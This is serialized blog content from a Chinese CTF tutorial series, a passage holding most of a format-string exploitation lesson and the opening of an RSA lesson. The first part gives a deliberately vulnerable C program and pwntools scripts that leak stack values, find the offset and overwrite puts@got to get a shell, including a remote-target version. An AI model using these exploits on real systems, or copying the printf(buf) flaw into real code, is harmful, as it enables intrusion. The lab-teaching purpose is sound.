0;\n}\n",[19,9574,9575,9579,9583,9587,9592,9596,9601,9606,9611,9615],{"__ignoreMap":107},[111,9576,9577],{"class":113,"line":114},[111,9578,2433],{},[111,9580,9581],{"class":113,"line":140},[111,9582,452],{"emptyLinePlaceholder":451},[111,9584,9585],{"class":113,"line":448},[111,9586,2489],{},[111,9588,9589],{"class":113,"line":455},[111,9590,9591],{},"    char buf[100];\n",[111,9593,9594],{"class":113,"line":461},[111,9595,2494],{},[111,9597,9598],{"class":113,"line":467},[111,9599,9600],{},"    printf(\"> \");\n",[111,9602,9603],{"class":113,"line":473},[111,9604,9605],{},"    fgets(buf, sizeof(buf), stdin);\n",[111,9607,9608],{"class":113,"line":479},[111,9609,9610],{},"    printf(buf);          // 漏洞\n",[111,9612,9613],{"class":113,"line":484},[111,9614,2514],{},[111,9616,9617],{"class":113,"line":490},[111,9618,2457],{},[102,9620,9622],{"className":104,"code":9621,"language":106,"meta":107,"style":107},"gcc -o fmt fmt.c -fno-stack-protector -no-pie\n",[19,9623,9624],{"__ignoreMap":107},[111,9625,9626,9628,9630,9633,9636,9638],{"class":113,"line":114},[111,9627,2531],{"class":117},[111,9629,2534],{"class":248},[111,9631,9632],{"class":121}," fmt",[111,9634,9635],{"class":121}," fmt.c",[111,9637,2543],{"class":248},[111,9639,2546],{"class":248},[10,9641,9643],{"id":9642},"三核心步骤-1p-泄露","三、核心步骤 1：%p 泄露",[15,9645,9646,9648],{},[24,9647,162],{},"：用最便宜的测试确认漏洞，并观察\"输入本身出现在参数列表里\"这一关键事实。",[15,9650,6212],{},[102,9652,9654],{"className":104,"code":9653,"language":106,"meta":107,"style":107},"./fmt\n",[19,9655,9656],{"__ignoreMap":107},[111,9657,9658],{"class":113,"line":114},[111,9659,9653],{"class":117},[15,9661,1183],{},[102,9663,9666],{"className":9664,"code":9665,"language":191,"meta":107},[189],"%p.%p.%p.%p.%p.%p\n",[19,9667,9665],{"__ignoreMap":107},[15,9669,9670],{},"实际输出（本机 arm64 实测，Linux x86-64 输出形式一致、地址值不同）：",[102,9672,9675],{"className":9673,"code":9674,"language":191,"meta":107},[189],"> 0xfffffffffffffff0.0x16d8b6c48.0x40000000.0x70252e70252e7025.0x252e70252e70252e.0x100000a70\n",[19,9676,9674],{"__ignoreMap":107},[15,9678,9679,9680,9683,9684,9687],{},"出现一堆十六进制地址，漏洞确认。注意第 4、5 个值里有 ",[19,9681,9682],{},"0x70252e70","，正是 ",[19,9685,9686],{},"%p.%p"," 的 ASCII 字节——说明我们的输入本身也在参数列表里。",[15,9689,9690,293,9693,9695],{},[24,9691,9692],{},"为什么能泄露",[19,9694,9542],{}," 按格式串逐个取参数。我们没传参数，它就继续往寄存器/栈上读\"不存在的参数\"，读到的都是内存里的真实值。",[10,9697,9699],{"id":9698},"四核心步骤-2偏移定位","四、核心步骤 2：偏移定位",[15,9701,9702,9704],{},[24,9703,162],{},"：确定\"我们的输入位于第几个参数\"，这是所有精确利用的前提。",[15,9706,9707,9709,9710,9712,9713,9716,9717,9720],{},[24,9708,292],{},"：在输入开头放 4 个 ",[19,9711,2897],{},"，用 ",[19,9714,9715],{},"%N$p"," 逐个位置试探；哪个位置输出 ",[19,9718,9719],{},"0x41414141","，哪个位置就是输入起点。",[15,9722,9723],{},"要精确利用，需要知道\"我们的输入位于第几个参数\"。",[15,9725,6212],{},[102,9727,9728],{"className":104,"code":9653,"language":106,"meta":107,"style":107},[19,9729,9730],{"__ignoreMap":107},[111,9731,9732],{"class":113,"line":114},[111,9733,9653],{"class":117},[15,9735,1183],{},[102,9737,9740],{"className":9738,"code":9739,"language":191,"meta":107},[189],"AAAA.%6$p\n",[19,9741,9739],{"__ignoreMap":107},[15,9743,9744],{},"预期输出（Linux x86-64 典型情况）：",[102,9746,9749],{"className":9747,"code":9748,"language":191,"meta":107},[189],"> AAAA.0x41414141\n",[19,9750,9748],{"__ignoreMap":107},[15,9752,9753,9754,9756,9757,9760],{},"出现 ",[19,9755,9719],{},"（",[19,9758,9759],{},"AAAA"," 的十六进制），说明 buf 起始位置是第 6 个参数，偏移 = 6。不同程序偏移不同（常见 6-10），确认方法就是逐个数：",[102,9762,9764],{"className":431,"code":9763,"language":433,"meta":107,"style":107},"from pwn import *\n\nfor i in range(1, 15):\n    p = process('./fmt')\n    p.recvuntil(b'> ')\n    p.sendline(f'AAAA.%{i}$p'.encode())\n    # f'AAAA.%{i}$p'：构造 \"AAAA.%1$p\"、\"AAAA.%2$p\" ... 依次试探。\n    # .encode()：字符串转成字节串才能 sendline。\n    out = p.recvall()\n    if b'0x41414141' in out:\n        # 0x41414141 就是 AAAA 的十六进制，说明第 i 个参数是输入起点。\n        print(f'offset = {i}')\n        break\n",[19,9765,9766,9770,9774,9779,9784,9789,9794,9799,9804,9809,9814,9819,9824],{"__ignoreMap":107},[111,9767,9768],{"class":113,"line":114},[111,9769,2690],{},[111,9771,9772],{"class":113,"line":140},[111,9773,452],{"emptyLinePlaceholder":451},[111,9775,9776],{"class":113,"line":448},[111,9777,9778],{},"for i in range(1, 15):\n",[111,9780,9781],{"class":113,"line":455},[111,9782,9783],{},"    p = process('./fmt')\n",[111,9785,9786],{"class":113,"line":461},[111,9787,9788],{},"    p.recvuntil(b'> ')\n",[111,9790,9791],{"class":113,"line":467},[111,9792,9793],{},"    p.sendline(f'AAAA.%{i}$p'.encode())\n",[111,9795,9796],{"class":113,"line":473},[111,9797,9798],{},"    # f'AAAA.%{i}$p'：构造 \"AAAA.%1$p\"、\"AAAA.%2$p\" ... 依次试探。\n",[111,9800,9801],{"class":113,"line":479},[111,9802,9803],{},"    # .encode()：字符串转成字节串才能 sendline。\n",[111,9805,9806],{"class":113,"line":484},[111,9807,9808],{},"    out = p.recvall()\n",[111,9810,9811],{"class":113,"line":490},[111,9812,9813],{},"    if b'0x41414141' in out:\n",[111,9815,9816],{"class":113,"line":496},[111,9817,9818],{},"        # 0x41414141 就是 AAAA 的十六进制，说明第 i 个参数是输入起点。\n",[111,9820,9821],{"class":113,"line":502},[111,9822,9823],{},"        print(f'offset = {i}')\n",[111,9825,9826],{"class":113,"line":508},[111,9827,797],{},[15,9829,351,9830,27],{},[19,9831,9832],{},"offset = 6",[15,9834,9835,9836,667,9839,9841,9842,9844,9845,9848,9849,9852,9853,9848,9856,1715,9859,9862],{},"为什么从 6 开始：x86-64 调用约定前 6 个整数参数用寄存器（",[19,9837,9838],{},"rdi, rsi, rdx, rcx, r8, r9",[19,9840,9542],{}," 自己占 ",[19,9843,8949],{},"，所以 ",[19,9846,9847],{},"%1$p"," 到 ",[19,9850,9851],{},"%5$p"," 对应 ",[19,9854,9855],{},"rsi",[19,9857,9858],{},"r9",[19,9860,9861],{},"%6$p"," 开始读栈。",[10,9864,9866],{"id":9865},"五核心步骤-3泄露-canary-与-libc","五、核心步骤 3：泄露 canary 与 libc",[15,9868,9869,9871],{},[24,9870,162],{},"：把栈上的关键保护值（canary）与库地址（libc）泄露出来，供后续利用。",[15,9873,9874,9876,9877,9880,9881,9884],{},[24,9875,292],{},"：不同数据在栈上有固定特征——canary 以 ",[19,9878,9879],{},"00"," 结尾，libc 地址以 ",[19,9882,9883],{},"0x7f"," 开头。扫描一段偏移后按特征识别。",[15,9886,1800,9887,9848,9889,9892],{},[19,9888,9861],{},[19,9890,9891],{},"%40$p"," 全部打出来，识别特征值：",[32,9894,9895,9905],{},[35,9896,9897],{},[38,9898,9899,9902],{},[41,9900,9901],{},"值特征",[41,9903,9904],{},"内容",[51,9906,9907,9918,9929,9939],{},[38,9908,9909,9915],{},[56,9910,9911,9912,9914],{},"以 ",[19,9913,9879],{}," 结尾的随机值",[56,9916,9917],{},"canary",[38,9919,9920,9926],{},[56,9921,9922,9925],{},[19,9923,9924],{},"0x7fff"," 开头",[56,9927,9928],{},"栈地址",[38,9930,9931,9936],{},[56,9932,9933,9925],{},[19,9934,9935],{},"0x55/0x56",[56,9937,9938],{},"程序代码地址（PIE 基址相关）",[38,9940,9941,9945],{},[56,9942,9943,9925],{},[19,9944,9883],{},[56,9946,9947],{},"libc 地址",[102,9949,9951],{"className":431,"code":9950,"language":433,"meta":107,"style":107},"payload = b'.'.join(f'%{i}$p'.encode() for i in range(6, 40))\n# 生成 \"%6$p.%7$p....%39$p\"，一次打出一串值。\np.sendline(payload)\nout = p.recvall().decode().split('.')\n# 按点号切分，得到每个位置的值。\n\nfor i, v in enumerate(out):\n    if v.endswith('00') and len(v) == 18:\n        # 16 位十六进制 + 结尾 00：符合 canary 的典型形态。\n        print(f'possible canary at {i+6}: {v}')\n",[19,9952,9953,9958,9963,9967,9972,9977,9981,9986,9991,9996],{"__ignoreMap":107},[111,9954,9955],{"class":113,"line":114},[111,9956,9957],{},"payload = b'.'.join(f'%{i}$p'.encode() for i in range(6, 40))\n",[111,9959,9960],{"class":113,"line":140},[111,9961,9962],{},"# 生成 \"%6$p.%7$p....%39$p\"，一次打出一串值。\n",[111,9964,9965],{"class":113,"line":448},[111,9966,2883],{},[111,9968,9969],{"class":113,"line":455},[111,9970,9971],{},"out = p.recvall().decode().split('.')\n",[111,9973,9974],{"class":113,"line":461},[111,9975,9976],{},"# 按点号切分，得到每个位置的值。\n",[111,9978,9979],{"class":113,"line":467},[111,9980,452],{"emptyLinePlaceholder":451},[111,9982,9983],{"class":113,"line":473},[111,9984,9985],{},"for i, v in enumerate(out):\n",[111,9987,9988],{"class":113,"line":479},[111,9989,9990],{},"    if v.endswith('00') and len(v) == 18:\n",[111,9992,9993],{"class":113,"line":484},[111,9994,9995],{},"        # 16 位十六进制 + 结尾 00：符合 canary 的典型形态。\n",[111,9997,9998],{"class":113,"line":490},[111,9999,10000],{},"        print(f'possible canary at {i+6}: {v}')\n",[15,10002,10003],{},"泄露 libc 地址后：",[102,10005,10007],{"className":431,"code":10006,"language":433,"meta":107,"style":107},"libc.address = leaked_libc_addr - libc.symbols['puts']\n",[19,10008,10009],{"__ignoreMap":107},[111,10010,10011],{"class":113,"line":114},[111,10012,10006],{},[15,10014,10015],{},"与 ret2libc 的\"先泄露再计算\"思路完全一致。",[10,10017,10019],{"id":10018},"六核心步骤-4n-任意写","六、核心步骤 4：%n 任意写",[15,10021,10022,10024],{},[24,10023,162],{},"：理解\"写内存\"的原语，为覆盖 GOT 做准备。",[15,10026,10027,293,10029,10031,10032,10035,10036,10039],{},[24,10028,292],{},[19,10030,9559],{}," 把\"已打印字符数\"写入参数指向的地址。先用 ",[19,10033,10034],{},"%100c"," 精确控制打印量，再用 ",[19,10037,10038],{},"%N$n"," 写到目标地址。",[15,10041,10042,10044],{},[19,10043,9559],{}," 把\"当前已经打印的字符数\"写入参数指向的地址：",[102,10046,10049],{"className":10047,"code":10048,"language":191,"meta":107},[189],"%100c%7$n\n",[19,10050,10048],{"__ignoreMap":107},[15,10052,8877],{},[1792,10054,10055,10060],{},[1795,10056,10057,10059],{},[19,10058,10034],{}," 打印 100 个填充字符，已打印数变成 100。",[1795,10061,10062,10065],{},[19,10063,10064],{},"%7$n"," 把 100 写入第 7 个参数指向的地址。",[15,10067,10068],{},"所以如果第 7 个参数恰好是我们输入里的一个地址，就能往那个地址写 100。写入宽度控制：",[32,10070,10071,10081],{},[35,10072,10073],{},[38,10074,10075,10078],{},[41,10076,10077],{},"说明符",[41,10079,10080],{},"写入字节数",[51,10082,10083,10092,10102],{},[38,10084,10085,10089],{},[56,10086,10087],{},[19,10088,9559],{},[56,10090,10091],{},"4 字节",[38,10093,10094,10099],{},[56,10095,10096],{},[19,10097,10098],{},"%hn",[56,10100,10101],{},"2 字节",[38,10103,10104,10109],{},[56,10105,10106],{},[19,10107,10108],{},"%hhn",[56,10110,10111],{},"1 字节",[10,10113,10115],{"id":10114},"七核心步骤-5fmtstr_payload-覆盖-got","七、核心步骤 5：fmtstr_payload 覆盖 GOT",[15,10117,10118,10120,10121,10123,10124,10126],{},[24,10119,162],{},"：把程序即将调用的 ",[19,10122,9297],{}," 改成我们的 ",[19,10125,2656],{},"，实现控制流劫持。",[15,10128,10129,293,10131,10134],{},[24,10130,292],{},[19,10132,10133],{},"puts@got"," 存的是 puts 真实地址；程序每次调 puts 都先查 GOT。把 GOT 内容改成 win 地址，下一次调用就变成执行 win。验证方式：发送 payload 后看是否进入 shell。",[15,10136,10137,10138,293],{},"目标程序 ",[19,10139,10140],{},"fmt2.c",[102,10142,10144],{"className":1819,"code":10143,"language":1821,"meta":107,"style":107},"#include \u003Cstdio.h>\n#include \u003Cstdlib.h>\n\nvoid win() {\n    system(\"/bin/sh\");\n}\n\nint main() {\n    char buf[100];\n    setvbuf(stdout, NULL, _IONBF, 0);\n    printf(\"> \");\n    fgets(buf, sizeof(buf), stdin);\n    printf(buf);          // 漏洞\n    puts(\"Done\");         // 触发 puts@got → win\n    return 0;\n}\n",[19,10145,10146,10150,10154,10158,10162,10166,10170,10174,10178,10182,10186,10190,10194,10198,10203,10207],{"__ignoreMap":107},[111,10147,10148],{"class":113,"line":114},[111,10149,2433],{},[111,10151,10152],{"class":113,"line":140},[111,10153,2438],{},[111,10155,10156],{"class":113,"line":448},[111,10157,452],{"emptyLinePlaceholder":451},[111,10159,10160],{"class":113,"line":455},[111,10161,2447],{},[111,10163,10164],{"class":113,"line":461},[111,10165,2452],{},[111,10167,10168],{"class":113,"line":467},[111,10169,2457],{},[111,10171,10172],{"class":113,"line":473},[111,10173,452],{"emptyLinePlaceholder":451},[111,10175,10176],{"class":113,"line":479},[111,10177,2489],{},[111,10179,10180],{"class":113,"line":484},[111,10181,9591],{},[111,10183,10184],{"class":113,"line":490},[111,10185,2494],{},[111,10187,10188],{"class":113,"line":496},[111,10189,9600],{},[111,10191,10192],{"class":113,"line":502},[111,10193,9605],{},[111,10195,10196],{"class":113,"line":508},[111,10197,9610],{},[111,10199,10200],{"class":113,"line":514},[111,10201,10202],{},"    puts(\"Done\");         // 触发 puts@got → win\n",[111,10204,10205],{"class":113,"line":520},[111,10206,2514],{},[111,10208,10209],{"class":113,"line":526},[111,10210,2457],{},[102,10212,10214],{"className":104,"code":10213,"language":106,"meta":107,"style":107},"gcc -o fmt2 fmt2.c -fno-stack-protector -no-pie\npwn checksec ./fmt2     # 需为 Partial RELRO，GOT 可写\n",[19,10215,10216,10232],{"__ignoreMap":107},[111,10217,10218,10220,10222,10225,10228,10230],{"class":113,"line":114},[111,10219,2531],{"class":117},[111,10221,2534],{"class":248},[111,10223,10224],{"class":121}," fmt2",[111,10226,10227],{"class":121}," fmt2.c",[111,10229,2543],{"class":248},[111,10231,2546],{"class":248},[111,10233,10234,10236,10238,10241],{"class":113,"line":140},[111,10235,2582],{"class":117},[111,10237,2585],{"class":121},[111,10239,10240],{"class":121}," ./fmt2",[111,10242,10243],{"class":259},"     # 需为 Partial RELRO，GOT 可写\n",[15,10245,10246],{},"利用脚本：",[102,10248,10250],{"className":431,"code":10249,"language":433,"meta":107,"style":107},"from pwn import *\n\ncontext.binary = elf = ELF('./fmt2')\n# context.binary 让 pwntools 自动识别架构与位数。\np = process('./fmt2')\n\noffset = 6\npayload = fmtstr_payload(offset, {elf.got['puts']: elf.symbols['win']})\n# fmtstr_payload(offset, writes)：\n#   第一个参数 offset：输入在参数列表中的位置；\n#   第二个参数是字典 {目标地址: 要写入的值}。\n# 函数内部自动完成：把 win 地址拆成两个 2 字节，\n# 用 %c 控制打印量、%hn 分别写入 puts@got 与 puts@got+2。\n\np.sendline(payload)\np.interactive()\n",[19,10251,10252,10256,10260,10265,10270,10275,10279,10284,10289,10294,10299,10304,10309,10314,10318,10322],{"__ignoreMap":107},[111,10253,10254],{"class":113,"line":114},[111,10255,2690],{},[111,10257,10258],{"class":113,"line":140},[111,10259,452],{"emptyLinePlaceholder":451},[111,10261,10262],{"class":113,"line":448},[111,10263,10264],{},"context.binary = elf = ELF('./fmt2')\n",[111,10266,10267],{"class":113,"line":455},[111,10268,10269],{},"# context.binary 让 pwntools 自动识别架构与位数。\n",[111,10271,10272],{"class":113,"line":461},[111,10273,10274],{},"p = process('./fmt2')\n",[111,10276,10277],{"class":113,"line":467},[111,10278,452],{"emptyLinePlaceholder":451},[111,10280,10281],{"class":113,"line":473},[111,10282,10283],{},"offset = 6\n",[111,10285,10286],{"class":113,"line":479},[111,10287,10288],{},"payload = fmtstr_payload(offset, {elf.got['puts']: elf.symbols['win']})\n",[111,10290,10291],{"class":113,"line":484},[111,10292,10293],{},"# fmtstr_payload(offset, writes)：\n",[111,10295,10296],{"class":113,"line":490},[111,10297,10298],{},"#   第一个参数 offset：输入在参数列表中的位置；\n",[111,10300,10301],{"class":113,"line":496},[111,10302,10303],{},"#   第二个参数是字典 {目标地址: 要写入的值}。\n",[111,10305,10306],{"class":113,"line":502},[111,10307,10308],{},"# 函数内部自动完成：把 win 地址拆成两个 2 字节，\n",[111,10310,10311],{"class":113,"line":508},[111,10312,10313],{},"# 用 %c 控制打印量、%hn 分别写入 puts@got 与 puts@got+2。\n",[111,10315,10316],{"class":113,"line":514},[111,10317,452],{"emptyLinePlaceholder":451},[111,10319,10320],{"class":113,"line":520},[111,10321,2883],{},[111,10323,10324],{"class":113,"line":526},[111,10325,2971],{},[15,10327,10328,10331],{},[19,10329,10330],{},"fmtstr_payload"," 自动完成：",[1792,10333,10334,10339,10346,10355],{},[1795,10335,1800,10336,10338],{},[19,10337,2656],{}," 地址拆成低 2 字节和高 2 字节。",[1795,10340,10341,10342,10345],{},"生成 ",[19,10343,10344],{},"%c"," 控制打印量。",[1795,10347,10348,10349,918,10351,10354],{},"把两个目标地址（",[19,10350,10133],{},[19,10352,10353],{},"puts@got+2","）放到对应参数位置。",[1795,10356,10357,10358,10360],{},"用 ",[19,10359,10098],{}," 分别写入。",[15,10362,10363,10364,10367,10368,10370],{},"预期结果：程序执行 ",[19,10365,10366],{},"puts(\"Done\")"," 时实际调用 ",[19,10369,2996],{},"，进入 shell。",[10,10372,3005],{"id":3004},[32,10374,10375,10385],{},[35,10376,10377],{},[38,10378,10379,10381,10383],{},[41,10380,872],{},[41,10382,3016],{},[41,10384,3019],{},[51,10386,10387,10405,10417],{},[38,10388,10389,10391,10403],{},[56,10390,3026],{},[56,10392,10393,918,10395,918,10398,1030,10400],{},[19,10394,10330],{},[19,10396,10397],{},"FmtStr",[19,10399,3044],{},[19,10401,10402],{},"recvuntil",[56,10404,3048],{},[38,10406,10407,10409,10412],{},[56,10408,3053],{},[56,10410,10411],{},"看 RELRO、Canary、PIE",[56,10413,10414],{},[19,10415,10416],{},"pwn checksec ./fmt2",[38,10418,10419,10421,10424],{},[56,10420,9387],{},[56,10422,10423],{},"断点、看栈、验证参数位置",[56,10425,10426,918,10429],{},[19,10427,10428],{},"break main",[19,10430,3077],{},[10,10432,10434],{"id":10433},"九小-ctf-实战","九、小 CTF 实战",[15,10436,10437,10438,10441],{},"题目：远程运行 ",[19,10439,10440],{},"fmt2","（Partial RELRO、No PIE）。",[15,10443,10444,10446,10447,10450],{},[24,10445,292],{},"：与本地脚本唯一区别是 ",[19,10448,10449],{},"remote()"," 连远程；若远程提示与本地不同，先本地确认 offset 再改。",[102,10452,10454],{"className":431,"code":10453,"language":433,"meta":107,"style":107},"from pwn import *\n\ncontext.binary = elf = ELF('./fmt2')\np = remote('1.2.3.4', 10002)\n\npayload = fmtstr_payload(6, {elf.got['puts']: elf.symbols['win']})\np.sendline(payload)\np.sendline(b'cat flag')\np.interactive()\n",[19,10455,10456,10460,10464,10468,10473,10477,10482,10486,10490],{"__ignoreMap":107},[111,10457,10458],{"class":113,"line":114},[111,10459,2690],{},[111,10461,10462],{"class":113,"line":140},[111,10463,452],{"emptyLinePlaceholder":451},[111,10465,10466],{"class":113,"line":448},[111,10467,10264],{},[111,10469,10470],{"class":113,"line":455},[111,10471,10472],{},"p = remote('1.2.3.4', 10002)\n",[111,10474,10475],{"class":113,"line":461},[111,10476,452],{"emptyLinePlaceholder":451},[111,10478,10479],{"class":113,"line":467},[111,10480,10481],{},"payload = fmtstr_payload(6, {elf.got['puts']: elf.symbols['win']})\n",[111,10483,10484],{"class":113,"line":473},[111,10485,2883],{},[111,10487,10488],{"class":113,"line":479},[111,10489,3177],{},[111,10491,10492],{"class":113,"line":484},[111,10493,2971],{},[15,10495,351],{},[102,10497,10500],{"className":10498,"code":10499,"language":191,"meta":107},[189],"flag{format_string}\n",[19,10501,10499],{"__ignoreMap":107},[10,10503,3198],{"id":3197},[15,10505,10506,10507,1030,10509,10511,10512,10514],{},"格式化字符串提供两种原语：",[19,10508,9538],{},[19,10510,9553],{}," 任意读，",[19,10513,9559],{}," 系列任意写。掌握偏移定位后，既可以泄露 canary/libc 辅助栈溢出，也可以直接覆盖 GOT 或函数指针拿 shell。",[1035,10516,10517],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}",{"title":107,"searchDepth":140,"depth":140,"links":10519},[10520,10521,10522,10523,10524,10525,10526,10527,10528,10529],{"id":9509,"depth":448,"text":9510},{"id":9563,"depth":448,"text":9564},{"id":9642,"depth":448,"text":9643},{"id":9698,"depth":448,"text":9699},{"id":9865,"depth":448,"text":9866},{"id":10018,"depth":448,"text":10019},{"id":10114,"depth":448,"text":10115},{"id":3004,"depth":448,"text":3005},{"id":10433,"depth":448,"text":10434},{"id":3197,"depth":448,"text":3198},"格式化字符串漏洞：printf(buf) 漏洞原理、%p 泄露与偏移定位、%n 任意写原理、fmtstr_payload 覆盖 GOT。",{"date":1051,"image":4227,"alt":10532,"tags":10533,"published":451},"格式化字符串深入实战",[1055,2582,10534,2357],"格式化字符串","/blogs/ctf-pwn-format-string-deep-dive",{"title":9504,"description":10530},"blogs/18. ctf-pwn-format-string-deep-dive","3BARIEfzO4zPWgXrmyFfLGY_TycY4NGsa0XAo3Gs6Fo",{"id":10540,"title":10541,"body":10542,"description":11509,"extension":1049,"meta":11510,"navigation":451,"ogImage":8397,"path":11514,"seo":11515,"stem":11516,"__hash__":11517},"content/blogs/19. ctf-crypto-rsa-deep-dive.md","RSA 深入实战：原理、小 n 分解与共模攻击",{"type":7,"value":10543,"toc":11497},[10544,10548,10551,10554,10577,10590,10592,10608,10612,10618,10621,10636,10640,10645,10650,10739,10741,10747,10754,10758,10763,10768,10772,10791,10793,10799,10805,10809,10814,10899,10901,10907,10916,10920,10928,10957,10961,10965,10975,10981,10985,10990,10995,11002,11008,11011,11017,11021,11184,11186,11192,11196,11263,11265,11326,11335,11337,11339,11345,11348,11352,11357,11371,11373,11379,11383,11392,11442,11444,11450,11454,11486,11488,11495],[10,10545,10547],{"id":10546},"一现实背景dh-与公钥密码学","一、现实背景：DH 与公钥密码学",[15,10549,10550],{},"HTTPS（TLS）流程中：先用 DH 协商对称密钥，再用 RSA/ECDSA 证书认证身份。DH 解决\"公开信道建立共享密钥\"，RSA 解决\"身份认证与加密\"。",[15,10552,10553],{},"DH 最小实现（见密码学全景篇）：",[102,10555,10557],{"className":431,"code":10556,"language":433,"meta":107,"style":107},"p, g = 0xffffffffffffffc5, 2\na, b = 1234567, 7654321\nA, B = pow(g, a, p), pow(g, b, p)\nassert pow(B, a, p) == pow(A, b, p)   # 双方共享密钥一致\n",[19,10558,10559,10563,10567,10572],{"__ignoreMap":107},[111,10560,10561],{"class":113,"line":114},[111,10562,3863],{},[111,10564,10565],{"class":113,"line":140},[111,10566,3878],{},[111,10568,10569],{"class":113,"line":448},[111,10570,10571],{},"A, B = pow(g, a, p), pow(g, b, p)\n",[111,10573,10574],{"class":113,"line":455},[111,10575,10576],{},"assert pow(B, a, p) == pow(A, b, p)   # 双方共享密钥一致\n",[15,10578,10579,10580,10583,10584,918,10586,10589],{},"RSA 的安全基础是：已知 ",[19,10581,10582],{},"n"," 求 ",[19,10585,15],{},[19,10587,10588],{},"q","（分解）在计算上不可行。CTF 题把参数做小或做错，让分解或绕过分解成为可能。",[10,10591,100],{"id":99},[102,10593,10594],{"className":104,"code":3451,"language":106,"meta":107,"style":107},[19,10595,10596],{"__ignoreMap":107},[111,10597,10598,10600,10602,10604,10606],{"class":113,"line":114},[111,10599,143],{"class":117},[111,10601,122],{"class":121},[111,10603,3462],{"class":121},[111,10605,3465],{"class":121},[111,10607,3468],{"class":121},[10,10609,10611],{"id":10610},"三核心知识rsa-公式","三、核心知识：RSA 公式",[102,10613,10616],{"className":10614,"code":10615,"language":191,"meta":107},[189],"n = p × q\nφ(n) = (p-1)(q-1)\ne × d ≡ 1 (mod φ(n))        # d 是 e 的模逆元\n加密：c = m^e mod n\n解密：m = c^d mod n\n",[19,10617,10615],{"__ignoreMap":107},[15,10619,10620],{},"三个必须会用的 Python 运算：",[102,10622,10624],{"className":431,"code":10623,"language":433,"meta":107,"style":107},"pow(3, 4, 7)        # 快速幂取模 = 4\npow(e, -1, phi)     # 求 e 在模 phi 下的逆元\n",[19,10625,10626,10631],{"__ignoreMap":107},[111,10627,10628],{"class":113,"line":114},[111,10629,10630],{},"pow(3, 4, 7)        # 快速幂取模 = 4\n",[111,10632,10633],{"class":113,"line":140},[111,10634,10635],{},"pow(e, -1, phi)     # 求 e 在模 phi 下的逆元\n",[10,10637,10639],{"id":10638},"四核心步骤-1手算验证","四、核心步骤 1：手算验证",[15,10641,10642,10644],{},[24,10643,162],{},"：用最小参数亲手跑通 RSA 的生成与加解密，确认公式理解正确。",[15,10646,10647,10649],{},[24,10648,292],{},"：先算 n 与 φ(n)，再求 d（e 的模逆元），最后验证 pow(c,d,n) 能还原 m。这四步是后面所有攻击的基础。",[102,10651,10653],{"className":431,"code":10652,"language":433,"meta":107,"style":107},"p, q, e = 61, 53, 17\nn = p * q\n# n = 3233，公钥模数。\nphi = (p - 1) * (q - 1)\n# φ(n) = 60 × 52 = 3120，欧拉函数值。\nd = pow(e, -1, phi)\n# pow(e, -1, phi)：求 e 在模 phi 下的乘法逆元，即私钥 d = 2753。\n\nm = 65\nc = pow(m, e, n)\n# pow(m, e, n)：快速幂取模，即 m^e mod n，加密得 c = 2790。\nprint(\"n =\", n)\nprint(\"phi =\", phi)\nprint(\"d =\", d)\nprint(\"c =\", c)\nprint(\"解密 =\", pow(c, d, n))\n# pow(c, d, n)：用私钥解密，应还原 65，验证公式正确。\n",[19,10654,10655,10660,10665,10670,10675,10680,10685,10690,10694,10699,10704,10709,10714,10719,10724,10729,10734],{"__ignoreMap":107},[111,10656,10657],{"class":113,"line":114},[111,10658,10659],{},"p, q, e = 61, 53, 17\n",[111,10661,10662],{"class":113,"line":140},[111,10663,10664],{},"n = p * q\n",[111,10666,10667],{"class":113,"line":448},[111,10668,10669],{},"# n = 3233，公钥模数。\n",[111,10671,10672],{"class":113,"line":455},[111,10673,10674],{},"phi = (p - 1) * (q - 1)\n",[111,10676,10677],{"class":113,"line":461},[111,10678,10679],{},"# φ(n) = 60 × 52 = 3120，欧拉函数值。\n",[111,10681,10682],{"class":113,"line":467},[111,10683,10684],{},"d = pow(e, -1, phi)\n",[111,10686,10687],{"class":113,"line":473},[111,10688,10689],{},"# pow(e, -1, phi)：求 e 在模 phi 下的乘法逆元，即私钥 d = 2753。\n",[111,10691,10692],{"class":113,"line":479},[111,10693,452],{"emptyLinePlaceholder":451},[111,10695,10696],{"class":113,"line":484},[111,10697,10698],{},"m = 65\n",[111,10700,10701],{"class":113,"line":490},[111,10702,10703],{},"c = pow(m, e, n)\n",[111,10705,10706],{"class":113,"line":496},[111,10707,10708],{},"# pow(m, e, n)：快速幂取模，即 m^e mod n，加密得 c = 2790。\n",[111,10710,10711],{"class":113,"line":502},[111,10712,10713],{},"print(\"n =\", n)\n",[111,10715,10716],{"class":113,"line":508},[111,10717,10718],{},"print(\"phi =\", phi)\n",[111,10720,10721],{"class":113,"line":514},[111,10722,10723],{},"print(\"d =\", d)\n",[111,10725,10726],{"class":113,"line":520},[111,10727,10728],{},"print(\"c =\", c)\n",[111,10730,10731],{"class":113,"line":526},[111,10732,10733],{},"print(\"解密 =\", pow(c, d, n))\n",[111,10735,10736],{"class":113,"line":532},[111,10737,10738],{},"# pow(c, d, n)：用私钥解密，应还原 65，验证公式正确。\n",[15,10740,185],{},[102,10742,10745],{"className":10743,"code":10744,"language":191,"meta":107},[189],"n = 3233\nphi = 3120\nd = 2753\nc = 2790\n解密 = 65\n",[19,10746,10744],{"__ignoreMap":107},[15,10748,10749,10750,10753],{},"攻击者只有 ",[19,10751,10752],{},"(n=3233, e=17, c=2790)","，没有 d。要解密，第一步就是分解 n。",[10,10755,10757],{"id":10756},"五核心步骤-2小-n-分解","五、核心步骤 2：小 n 分解",[15,10759,10760,10762],{},[24,10761,162],{},"：拿到公钥后第一步永远是\"尝试分解 n\"——一旦分解成功，私钥直接可算。",[15,10764,10765,10767],{},[24,10766,292],{},"：n 小 → 本地工具直接分解；n 大 → 先查 FactorDB 是否有人分解过。分解出 p、q 后按公式算出 d 解密。",[154,10769,10771],{"id":10770},"_51-用-sympy-分解","5.1 用 sympy 分解",[102,10773,10775],{"className":431,"code":10774,"language":433,"meta":107,"style":107},"from sympy import 